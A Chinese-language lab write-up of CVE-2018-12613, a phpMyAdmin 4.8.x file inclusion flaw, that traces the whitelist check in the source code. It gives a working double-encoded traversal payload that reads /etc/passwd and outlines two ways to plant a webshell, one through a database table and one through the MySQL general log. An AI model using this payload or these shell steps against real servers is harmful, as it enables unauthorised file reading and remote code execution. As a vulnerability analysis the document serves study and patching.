0x00 預備知識
什麼是檔案包含漏洞?
- 攻擊者利用包含的特性,加上應用本身對檔案(包含)控制不嚴格,最終造成攻擊者進行任意檔案包含。(注:包含的檔案會被當成腳本檔案來解析)
- 一句話來說就是:檔案包含并不屬于漏洞,但是由于對包含進來的檔案不可控,導緻了檔案包含漏洞的産生。
- 本地檔案包含叫做LFI,遠端檔案包含叫做RFI,預設PHP不開啟遠端檔案包含。
相關函數
-
:PHP運作到include然後去調用被包含檔案執行,如果包含檔案不存在則報錯,但是會繼續往下執行;include
-
:PHP在運作前,就先去把被包含檔案的内容提取出來然後整合成新的PHP一齊執行,如果包含的檔案不存在則報錯,不會繼續執行;require
-
|include_once
:如果檔案已經被包含一次就不會重複包含。require_once
防禦政策
- 無需情況下設定
和allow_url_include
為關閉;allow_url_fopen
- 對可以包含的檔案進行限制,使用白名單方式或設定可包含目錄,如
;open_basedir
- 對輸入進行嚴格檢查,參數中不允許出現…/之類的目錄跳轉符;
- 嚴格檢查
類的檔案包含函數中的參數是否外界可控。include
0x01 漏洞描述
攻擊者利用發現伺服器上包含檔案的漏洞。該漏洞來自一部分代碼,其中頁面在phpMyAdmin中被重定向和加載,以及對白名單頁面進行不正确的測試。攻擊者必須經過身份驗證,但在以下情況除外:
-
:攻擊者可以指定他/她已經控制的任何主機,并在phpMyAdmin上執行任意代碼;$ cfg [‘AllowArbitraryServer’] = true
-
:這會繞過登入并在沒有任何身份驗證的情況下運作易受攻擊的代碼。$ cfg [‘ServerDefault’] = 0
0x02 影響範圍
phpMyAdmin 4.8.0 和 4.8.1
0x03 漏洞成因
檢視
index.php
源碼:
//line 55-63
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
這裡需要滿足以下5個條件便可執行包含檔案代碼
include $_REQUEST['target'];
-
不為空;$_REQUEST['target']
-
是字元串;$_REQUEST['target']
-
開頭不是index;$_REQUEST['target']
-
不在$_REQUEST['target']
中;$target_blacklist
-
為真。Core::checkPageValidity($_REQUEST['target'])
看看
$target_blacklist
中包含了哪些:
//line 50-52
$target_blacklist = array (
'import.php', 'export.php'
);
需要滿足
$_REQUEST['target']
不是
import.php
或
export.php
接下來定位
checkPageValidity()
函數在
Core.php
檔案中:
//443-478
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
其中又有5個判斷:
-
為空則引用靜态聲明的$whitelist
;$goto_whitelist
- 若
不存在或者$page
不是字元串則傳回false;$page
- 若
存在$page
中的某個值則傳回true;$whitelist
-
為$_page
以?分割并取出前面的字元串,若存在于$page
中則傳回true(這個判斷的本意是,如果taget值帶有參數的情況下,pma也能正确包含檔案);$whitelist
- 将
進行url解碼後再以?分割取出前面的字元串判斷,如果存在于$page
中則傳回true;$whitelist
由此可以得出,若傳入
target=db_sql.php%253f/../../test.txt
(%253f是?的url二次編碼),經過兩次解碼後(GET傳參預設解碼一次url)變回?,分割後取出前面的字元串為為
db_sql.php
,存在于白名單中,是以會進入最後一個 if 判斷傳回 true 、;
因為php會将前面的db_sql.php?當成目錄,是以需要多加一個…/來跨出目錄。如果包含的檔案需要傳參的時候可以使用&符号。
0x04 漏洞複現
漏洞環境:https://vulhub.org/#/environments/phpmyadmin/CVE-2018-12613/
嘗試讀取/etc/passwd:
構造payload:
index.php?target=db_sql.php%253f/../../../../etc/passwd
檔案包含成功
0x05 getshell
方法一:
在資料庫test中建立shell表,并注入一句話木馬:
構造payload:
驗證,注入成功:
要獲得shell必須有管理者權限,直接連接配接會連接配接不上,是以要通過該漏洞寫入一個檔案使得蟻劍可以直接連接配接:
構造payload:
然後再通路這個木馬位址:
蟻劍成功連接配接
方法二:
如果有權限開啟日志儲存狀态,可以嘗試日志包含:
MySQL兩個全局變量:
general log // 指的是日志儲存狀态,一共有兩個值(ON/OFF)ON代表開啟 OFF代表關閉。
general log file // 指的是日志的儲存路徑
這裡直接修改了日志儲存路徑:
執行sql語句,寫入一句話木馬:
成功包含:
蟻劍成功連接配接:
參考連結:
https://xz.aliyun.com/t/6592(CVE-2018-12613 phpMyAdmin遠端檔案包含漏洞)